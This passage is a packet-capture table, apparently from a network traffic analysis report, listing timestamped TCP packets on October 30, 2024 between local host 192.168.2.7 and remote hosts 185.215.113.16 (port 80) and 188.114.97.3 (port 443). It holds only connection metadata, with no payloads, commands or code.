Oct 30, 2024 04:35:34.510509968 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.510524035 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.510540009 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.510540962 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.510591030 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.541465998 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.541515112 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.541543007 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.541548014 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.541564941 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.541572094 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.541582108 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.541598082 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.541608095 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.541627884 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.541668892 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.541778088 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.541793108 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.541807890 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.541826963 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.541855097 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.541866064 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.541878939 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.541920900 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.541937113 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.541953087 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.541955948 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.541969061 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.541980028 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.541994095 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.542016029 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.542073965 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.542119980 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.542128086 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.542135000 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.542157888 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.542184114 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.542339087 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.542357922 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.542382956 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.542397976 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.542401075 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.542412996 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.542431116 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.542478085 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.542514086 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.542538881 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.542560101 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.542561054 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.542577982 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.542593956 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.542599916 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.542645931 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.542824984 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.542881012 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.542881012 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.542896032 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.542920113 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.542948008 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.542974949 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.542989016 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.543051958 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.543066025 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.543081999 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.543102980 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.543113947 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.543159962 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.543447971 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.543463945 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.543478012 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.543503046 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.543518066 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.543534040 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.543544054 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.543549061 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.543565989 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.543576002 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.543612003 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.585537910 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.585555077 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.585568905 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.585710049 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.628168106 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.628191948 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.628207922 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.628258944 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.628298044 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.638442993 CET	443	49989	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:34.638542891 CET	49989	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:34.640146017 CET	49989	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:34.640172005 CET	443	49989	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:34.640429020 CET	443	49989	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:34.641659975 CET	49989	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:34.641859055 CET	49989	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:34.641906977 CET	443	49989	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:34.641988993 CET	49989	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:34.642003059 CET	443	49989	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:34.659183025 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.659244061 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.659245014 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.659266949 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.659281015 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.659288883 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.659337044 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.659337044 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.659342051 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.659393072 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.659410000 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.659449100 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.659463882 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.659466028 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.659478903 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.659488916 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.659496069 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.659509897 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.659543991 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.659593105 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.659615040 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.659630060 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.659662962 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.659692049 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.659761906 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.659778118 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.659805059 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.659811020 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.659826040 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.659835100 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.659842968 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.659847021 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.659878969 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.659895897 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.660101891 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.660115957 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.660130978 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.660152912 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.660177946 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.660200119 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.660216093 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.660232067 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.660248041 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.660274982 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.660351992 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.660367966 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.660383940 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.660412073 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.660429001 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.660430908 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.660445929 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.660461903 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.660470009 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.660496950 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.660521030 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.660736084 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.660752058 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.660784006 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.660799026 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.660799026 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.660816908 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.660816908 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.660839081 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.660876989 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.660999060 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.661016941 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.661043882 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.661052942 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.661067009 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.661073923 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.661082983 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.661097050 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.661103964 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.661118984 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.661128998 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.661153078 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.661187887 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.661678076 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.661732912 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.703274012 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.703289986 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.703310013 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.703377962 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.703475952 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.745985985 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.746000051 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.746015072 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.746028900 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.746073008 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.746102095 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.777003050 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.777029037 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.777056932 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.777079105 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.777081966 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.777102947 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.777117014 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.777132034 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.777132034 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.777172089 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.777188063 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.777190924 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.777203083 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.777225018 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.777245998 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.777251959 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.777275085 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.777297020 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.777313948 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.777318954 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.777359009 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.777410030 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.777426004 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.777441978 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.777448893 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.777475119 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.777502060 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.777576923 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.777600050 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.777621984 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.777622938 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.777637005 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.777646065 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.777673960 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.777678013 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.777707100 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.777720928 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.777729988 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.777736902 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.777760029 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.777764082 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.777801991 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.777822018 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.777894020 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.777950048 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.777986050 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.778007984 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.778028965 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.778029919 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.778048992 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.778058052 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.778085947 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.778093100 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.778110027 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.778114080 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.778126001 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.778148890 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.778181076 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.778378963 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.778393984 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.778408051 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.778449059 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.778461933 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.778479099 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.778481960 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.778517962 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.778578043 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.778611898 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.778645992 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.778657913 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.778661966 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.778688908 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.778701067 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.778714895 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.778747082 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.778763056 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.778764009 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.778778076 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.778795958 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.778816938 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.778841019 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.778841019 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.778882027 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.779047012 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.779095888 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.779109955 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.779118061 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.779141903 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.779169083 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.821027994 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.821043015 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.821050882 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.821279049 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.863634109 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.863671064 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.863701105 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.863722086 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.863770962 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.863854885 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.894738913 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.894762993 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.894783974 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.894818068 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.894830942 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.894845963 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.894901991 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.894916058 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.894938946 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.895024061 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.895055056 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.895070076 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.895076990 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.895139933 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.895152092 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.895169020 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.895200014 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.895209074 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.895211935 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.895303965 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.895338058 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.895360947 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.895384073 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.895385027 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.895401955 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.895426035 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.895464897 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.895473003 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.895517111 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.895541906 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.895558119 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.895627975 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.895832062 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.895853996 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.895857096 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.895869970 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.895889044 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.895900965 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.895910978 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.895917892 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.895937920 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.895977020 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.895993948 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.895999908 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.896009922 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.896018028 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.896043062 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.896066904 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.896068096 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.896084070 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.896100044 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.896111965 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:34.896116018 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:34.896126032 CET	49986	80	192.168.2.7	185.215.113.16
